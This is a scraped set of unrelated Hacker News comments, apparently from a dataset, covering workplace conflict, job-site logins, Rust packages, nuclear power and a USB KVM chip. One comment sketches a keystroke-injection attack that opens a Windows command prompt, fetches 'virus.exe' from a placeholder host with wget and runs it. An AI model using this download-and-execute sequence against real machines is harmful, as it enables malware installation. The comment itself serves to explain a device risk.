MurphyA/hacker-news huggingface dataset:
by 29athrowaway | 2025-10-25 22:20:43+00:00
Some toxic people can be good at provocation, victimization and distorting situations. An attempt to improve things over a cup of coffee can be distorted as rumors, slander, harassment, intimidation, threats, etc.

A person that reached adulthood while being toxic throughout their life is probably competent at it at this point. While you were focused in acquiring your skills, they were probably getting better at being toxic. So you are probably not prepared for a direct confrontation with a veteran sabotaging jerk. Do not play a game you have never practiced as the away team because you are probably not going to win.

The more you have advanced your career, the more you have to lose while engaging someone. And in this case you have not much to win, against a person that has less than you to lose. Just using up your time and distracting you from your job is a win for a saboteur.

Anything you say can be held against you, so unless you've talked to a workplace attorney better stay out of it. If the situation is affecting you psychologically then engaging the person can affect you even more. Seek therapy if that helps, or channel your frustration through physical activity.

The best you can do is to limit your interactions to the professional level, and limit the topics to what he is working on. Everything else is your business and not his and you can seek additional collaboration at your discretion.
by rhetocj23 | 2025-10-25 22:21:03+00:00
"because every company is busy paying the Indeeds/Linkedins of the world"

The reason why is because they possess significant competitive advantages.

Im actually working on something in this space and am building out competitive advantages with government backing that'll make LinkedIn and Indeed an inferior offering in my country.

If youre going to enter a market with established incumbents, you wont go very far without a lot of strategic-thinking.
by tompccs | 2025-10-25 22:21:12+00:00
Hi, OP here. This is the "catch-22" of job sites. If they are open to the web they become swamped with bot traffic. If they are closed then users have to overcome a barrier to use them. We have tried to find a middle ground and use the lowest-effort way (for users) to demonstrate authenticity in the form of a Google login. But we understand this might be putting users off so we are looking at ways we can give away a bit more before requiring a login. Appreciate your feedback.
by FridayoLeary | 2025-10-25 22:22:29+00:00
How badly do we need robots? Voice assistants are the first step and while they might be useful for some things they are not widely used. For mundane tasks you have roombas etc, but those fulfill very specific tasks. A versatile robot that can do all your household tasks and complicated things like driving your car are a long, long way off, and i would argue are not even that necessary.

What robots are good at is automation in factories, allowing manufacturers to streamline tasks, perform them faster and save labour, which does drive down prices.

Perhaps with ai the technology to make 'intelligent' robots is finally within sight, but the physical technology is still not there yet, and even if it would be i doubt it would become widely adopted.
by turtleyacht | 2025-10-25 22:23:07+00:00
Thank-you. Any thoughts on the layout below versus the others listed?

https://www.pckeyboard.com/page/product/USAPLSET

I've got some notes on setting up input on OpenBSD as well. It enables Left Ctrl and Left Alt for APL symbols, but also a Unicode escape hatch with Right Alt and Caps Lock: https://github.com/turtleyacht/ap-el-kb.github.io
by consumer451 | 2025-10-25 22:23:07+00:00
Accurate, but as OP, I didn't post this as "local news."

I posted this because it is objective evidence against the arguments made by the current US federal government for sending troops into Seattle ~"to quell the violence."

I believe that this threat is unprecedented since the mid 1800's, has impacts on the tech sector, how other countries behave going forward, and world history in general.

If I am off-base here, I would genuinely like to hear the counter arguments.
by Klonoar | 2025-10-25 22:24:21+00:00
I left the "mostly" in my comment because custom allocators is one area where Rust as an ecosystem is still in need of some work, and I'm aware of that - hell, in part because of TigerBeetle's blog posts on the subject.

Everything you're describing is a stylistic preference, though - and doesn't contribute to bloat, which is what the parent comment was implying. If your program is bloated, that's on you to clean up - it doesn't matter if it's in C, C++, Rust, or Zig. Every single one of these languages has nothing that stops you from getting it right.

(A weird aside but the downvotes on this chain are just odd to me. I'm not telling y'all to not write Zig, chill already)
by PyWoody | 2025-10-25 22:25:00+00:00
> I've been midsentence with them in person when they'd just pull out their iPad for a quick scroll, completely oblivious that I was even there or talking to them.

Does anyone have any advice on how to deal with this? I have a relative that does this all the time and it's beyond infuriating.

It's even gotten to the point where we'll be having a family discussion, they'll pull out there phone to text, come back to Earth, and then get furious with us because we don't fill them in to what they missed and restart the conversation at the point where they stopped listening.
by dathinab | 2025-10-25 22:25:01+00:00
(no specific order)

1. easy to create

2. easy to produce something with decent quality

3. rust is widely used by a lot of people, including juniors which don't know (yet) that it can be quite a pain to maintain a package and that it comes with some responsibility

4. so small hobby projects now can very easily become widely used dependencies as people looked at them and found them to have decent quality

5. currently "flat" package structure (i.e. no prefixes/grouping by org/project) there has been discussions for improving on it for a long time but it's not quite here yet. This matters as e.g. all "official" tokio packages are named tokio-* but thats also true for most 3rd party packages "specifically made for tokio". So `tokio-tar` is what you would expect the official "tokio" tar package to be named _if there where one_.

---

now the core problem of many unmaintained packages isn't that rust specific

it's just that rust is currently a common go to for young developers not yet burned by maintaining a package, it's supper easy to publish

on the other hand some of the previous "popular early carrier go to languages" had either not had a single "official" repo (Jave) or packaging was/is a quite a pain (python). Through you can find a lot of unmaintained packages in npm too, just it's so much easier to write clean decent looking code in rust that it's more likely that you use one in rust then in JS.
by vbezhenar | 2025-10-25 22:25:44+00:00
Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.

The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.
by bonoboTP | 2025-10-25 22:26:16+00:00
I doubt that you need any of that or it has any use for dealing with kids ages 3-6. Every granny and auntie knew how to do it since time immemorial. Just let them play, go out in the yard, chase the ants, dig some holes in the mud, run around, play with a ball. Eat and take a nap, look at picture books, have the teacher tell a story while the kids sit around her etc.

What matters is to have low-stress, motivated teachers with good personalities, empathy and intelligence. And similarly a filtered peer group. All the rest is window dressing.
by K0balt | 2025-10-25 22:26:30+00:00
That’s a lot of confidence with a vanishingly small amount of evidence. I am constantly accused of being an AI for articles I blogged more than 20 years ago.

I use—still—em dashes whenever I feel like they are better than commas, parentheses or semicolons.

Because that’s what they are for, and this is English after all. Some people don’t approve, and I approve of their disapproval—it’s a free country and writing is a creative process.

What doesn’t contribute are comments that discredit and disparage without adding anything to the conversation.
by cadamsdotcom | 2025-10-25 22:26:40+00:00
There is opportunity in the meta.

If you are leaving a comment it’s because someone didn’t learn how things should be from the tools in your codebase.

Naming style problem? Linting isn’t catching it.

Architecture violation? Your import linting (checkers to prevent route handlers importing the DB and skipping the service layer, etc.) isn’t catching it.

Duplicate method? What tooling can you create in the LLM era - remembering you can ask agents to build scripts now?
by tompccs | 2025-10-25 22:28:56+00:00
OP here. Appreciate the feedback - the login barrier is definitely something we will take on board. I think some level of identity authentication is a must to counter the scourge of bot traffic, but we will think of ways to be cleverer about this.

With regard to job posting accuracy - absolutely this is a problem. Normalising what different job descriptions actually _mean_ is one of the key challenges we want to solve.
by beckford | 2025-10-25 22:29:12+00:00
Introduction paragraph:

Metalang99 is a firm foundation for writing reliable and maintainable metaprograms in pure C99. It is implemented as an interpreted FP language atop of preprocessor macros: just #include <metalang99.h> and you are ready to go. Metalang99 features algebraic data types, pattern matching, recursion, currying, and collections; in addition, it provides means for compile-time error reporting and debugging. With our built-in syntax checker, macro errors should be perfectly comprehensible, enabling you for convenient development.
by gajjanag | 2025-10-25 22:30:05+00:00
Welcome to the brave new world these days:

1 - Very few people conduct "proper scholarship", and fail to trace ideas back to their original inception and cite them correctly. This happens time and again in deep learning, where 30+ year old ideas are claimed as "novel" over and over. Many times out of malice by the authors, sometimes out of ignorance.

2 - Peer review in many parts of the industry+research is a joke. Mostly shouldered by early graduate students who don't really know the field well and an incredibly noisy process.

3 - It is common practice now to dump out one's "kitchen sink" of ideas rather than properly refined stuff. Hence the increase in LinkedIn spam, blog spam, arXiv spam style of papers.
by dylan604 | 2025-10-25 22:30:46+00:00
<snip>random whacko comments</snip>

>Come back in 5 years time when the batteries are 10 years old and failing like the bridges and schools and universities.

This however is a valid point to make. In my experience with battery systems, regular maintenance and replacing failed units is one of the things that people are quick to not do on preventative schedule. Instead, they wait until the unit is completely dead and then gasp at the cost of battery replacement. Based on how companies like PG&E do not do regular maintenance on their lines, it doesn't bode well for the batteries.
by antonvs | 2025-10-25 22:31:01+00:00
Relevant, from 20 years ago, "Enhancing Server Availability and Security Through Failure-Oblivious Computing", Rinard et al.: https://people.csail.mit.edu/rinard/techreport/MIT-CSAIL-TR-...

From the abstract:

> Failure-oblivious computing "enables servers to execute through memory errors without memory corruption. Our safe compiler for C inserts checks that dynamically detect invalid memory accesses. Instead of terminating or throwing an exception, the generated code simply discards invalid writes and manufactures values to return for invalid reads, enabling the server to continue its normal execution path.

From the conclusion:

> Our results show that failure-oblivious computation enhances availability, resilience, and security by continuing to execute through memory errors while ensuring that such errors do not corrupt the address space or data structures of the computation. In many cases failure-oblivious computing can automatically convert unanticipated and dangerous inputs or data into anticipated error cases that the program is designed to handle correctly. The result is that the program survives the unanticipated situation, returns back into its normal operating envelope, and continues to satisfy the needs of its users.
by Animats | 2025-10-25 22:31:41+00:00
The trouble is, you don't have enough clout to do a good job on this. Look at Alibaba. Here's a typical Alibaba customer profile:

4.8/5 Satisfied 113 reviews ≤2h average response time 98.7% on-time delivery rate US $470,000+ 474 orders

Tracking interactions with employers like that would be a huge help. "Ghosting" should show up in employer stats.
by LoganDark | 2025-10-25 22:31:52+00:00
Email magic links are dumb. On top of that, forms that don't let you specify whether to login or to create an account are extra dumb. With magic links, one can't log in with just their password manager, and with a stupid combo form, anyone who mis-types or mis-remembers their email address just accidentally created a new account (or a new link that creates an account).
by pureagave | 2025-10-25 22:32:00+00:00
I just had my second child and I refused to give him the Hep-B shot on the first day of his life. The acting pediatrician (not his) asked if I was going to do it "in-office" the following week and I said no. She became visually bothered by this and I told her that I didn't think I could consent for him since I didn't understand the reason for him to get the shot. She said it is without risk and a public health issue.

Last week we went for his first office visit and my son's actual pediatrician explained that public health means that it's good for the population if they get everyone to get it but individually it has no value to him until he's much older and sexually active or sharing needles. Bonkers...
by courseofaction | 2025-10-25 22:32:09+00:00
Yes, productive capacity can be repurposed to support military goals - with organizations and technicians already in place.

Mexico has about 1/17th of the manufacturing capacity of the US - adds around 5.8%. America has a labor shortage in manufacturing, which is unlikely to be filled with foreign workers given the current crackdown on brown people. They're also annihilating their intellectual capacity by again cracking down on brown people, and defunding universities.

China is already leading the world in manufacturing and expanding rapidly, their universities are world class, and they have almost caught up in technology. Given their investments in education and strong culture of academic achievement, it's unreasonable to think they won't overtake the US in every domain in the next 3-5 years.
by 1vuio0pswjnm7 | 2025-10-25 22:32:19+00:00
"Just as consumers don't want to pay the "true" price of food or the "true" price of clothing, we don't want to pay the "true" price of software"

But software is nothing like food

I lived without software for many years

As a consumer, the best software I use is not new. It's old

Today's software is literally forced on consumers

It's true they dont want to pay for it

It's given away for free as a Trojan Horse to collect data, enable surveillance and online advertising services. It also allows remote installation of further software on the consumer's computer

Or it's not delivered at all but sold as a "service"

None of this is essential like food

Consumers will pay for food, water, shelter
by musicale | 2025-10-25 22:33:08+00:00
Compiler/runtime support via clang and llvm should help I hope.

I'd like to get to the point where web browsers (for example) always run with memory-safe compilation and runtime features on every platform. OS kernels would be nice as well.

It will be nice to see more OSes ship with memory safety on by default for everything. Maybe OpenBSD is next?
by cyberax | 2025-10-25 22:33:43+00:00
The nuclear power plant wear-and-tear is roughly proportional to the number of hours it runs at full power. By not running the plant, you can extend its service life (probably to more than 100 years, with periodic annealing). The main limiting factor is the reactor vessel, its steel walls can only tolerate so much neutron bombardment before becoming too brittle for service.

Nuclear power plants have similar behavior to coal plants in another regard, they take approximately the same time to ramp up/down.

> You are aware that a nuclear plant tripping offline was part of the cause of ERCOT's last winter cold problem?

They just need to build more of them. Problem solved.

Anyway, nuclear power plants went from 0% to 70% generation in France within 20 years in 70-s. We don't see anything like this happening with solar, even in smaller island countries. Solar is successful only when it's backed by fossil fuels and government subsidies to keep that fossil fuel generation running.
by bjourne | 2025-10-25 22:33:54+00:00
> My advice would be 1) to not phrase decisions as suggestions,

I was about to write the same thing. TS, if you feel strongly about the need for a post-mortem analysis then it is: "We WILL do a post-mortem analysis, and you WILL analyze root cause issues and you WILL help me write a report about the incident. It has the highest priority." It is not: "We should do a post-mortem analysis, you guys agree it is a good idea?" TS comes of as wanting to lead by persuasion, which imo very often doesn't work.
by 01100011 | 2025-10-25 22:34:14+00:00
IIRC the setup my friend had included a diamond wet saw and various polishing and grinding wheels. For instance I used some wax to stick a rock on the end of a stick and shaped it into a cabochon and, using the various polishing wheels, got it to shine.

A tumbler is just a bunch of rocks and polish bouncing around for a week and you never know what you'll get.
by forrestthewoods | 2025-10-25 22:35:49+00:00
> some of it will only ever run on linux servers.

I’ve spent quite a lot of time dealing with code that will ever run on Linux which did not in fact only ever run on Linux!

Obviously for hobby projects anyone can do what they want. But adult projects should support Windows imho and consider Windows support from the start. Cross-platform is super easy unless you choose to make it hard.
by jchw | 2025-10-25 22:36:01+00:00
That really isn't unreasonable at all IMO, it's just that it might be hard to do with userspace syscall emulation, since graphical programs will likely need a lot more of the syscall surface. For X11 and Wayland, you'll need some way of handling UNIX domain sockets. Wayland applications will require shared memory too, though you could get away with something like Waypipe instead to serialize everything. You'd probably want some sort of intermediary between any X11/Wayland communications anyways, just to add additional isolation.

It might be easier to adapt gVisor to handle this sort of workload. Adjacent comment mentions Qubes which does the same thing but uses an entire guest kernel.

(If you are creative enough, you can probably come up with some solutions. Qt apps could be made to work with a custom QPA that can somehow funnel information in and out of the sandbox. You could definitely run something like Waypipe or Xpra in the sandbox too, but again I imagine those would wind up requiring a much greater degree of emulation. It's not like I've actually tried this, though, so I could be off.)
by pippy360 | 2025-10-25 22:37:11+00:00
Sorry to pile on but, the google sign on also turned me away. I have a google account and usually use it to sign up for sites I'm interested in but when it's used to gate content that could be accessible without a login I just feel like my data is being harvested.

If you really want to keep the login then maybe a message like we won't spam email you unless asked and only want your to log in to protect against bots would help.
by analog31 | 2025-10-25 22:38:13+00:00
I'm a scientist, and I work in a setting where there are a lot of non-scientists including engineers, managers, etc.

A word like "extinct" sounds like an absolute, and a rigorous statement would include a detailed disclaimer about the limitations of talking in absolute terms, such as "within the limits of our knowledge, and we could be wrong, yadda yadda."

When talking amongst scientists, those disclaimers are unnecessary because scientific thinking is taken for granted. Thus we talk in abbreviated terms, for instance where "extinct" implies "extinct, with all of the usual disclaimers."

But I think scientists have to remember that this is a habit, and most normal people don't get it. And then our words get filtered through the press. I think an article like this could include a brief working definition of "declared extinct" which would help reinforce the idea that what we sacrifice as the price of scientific knowledge, is absolute knowledge.
by devilsdata | 2025-10-25 22:41:48+00:00
Email magic links are inconvenient for the user, but they're not dumb. They're a pretty good option for a small project by a developer doesn't want to implement a whole auth flow, or pay for an OAuth provider.

It's a tradeoff. If you roll your own password flow, you need to add MFA to be secure. The complexity of what you need to build and maintain goes up.

A simple magic link flow for an app like this, where you are really only likely to log into it once per project you start.

Personally though, I also use a password manager. And I am annoyed enough by email magic links, that any of my personal projects will at least have a passkey implementation.

So I agree they're annoying. But they're definitely not "dumb". They're a tradeoff. This developer has chosen his own time over user convenience; which is a common tradeoff for small developers.
by mkl | 2025-10-25 22:42:20+00:00
> France was basically the China of Europe at that point: it was almost as populated as the rest of Europe combined.

That doesn't seem to be correct. From Wikipedia: "During the Middle Ages, more than one-quarter of Europe's total population was French;[8] by the seventeenth century, this had decreased slightly to one-fifth. By the beginning of the nineteenth century, other European countries, such as Germany and Russia, had caught up with France and overtaken it in number of people." https://en.wikipedia.org/wiki/Demographics_of_France
by galaxy_gas | 2025-10-25 22:42:39+00:00
https://www.wch-ic.com/downloads/CH9329DS1_PDF.html

They dont have the. The chip convert the ecltrical signal into keypress

The ch9329 they link is the chip they use. It is certainliy off the shelf and purchased from another, that does not provide much more information to them past implementation

The firm: Check the https://github.com/sipeed/NanoKVM/tree/main/server there is quite a bit of .so committed to the repo sadly. The NanoKVM in NanoKVM USB use CH9329.
by margalabargala | 2025-10-25 22:42:50+00:00
> The community rules here supersede how the internet operates. For example, if the author put up a message with profanity towards HN and the moderators here I'm sure HN would remove the link.

I don't see anything in the community guidelines that would indicate this submission is inappropriate, with or without the message: https://news.ycombinator.com/newsguidelines.html

Why are you so sure a more profane message would result in a removal? I don't think that would violate guidelines either.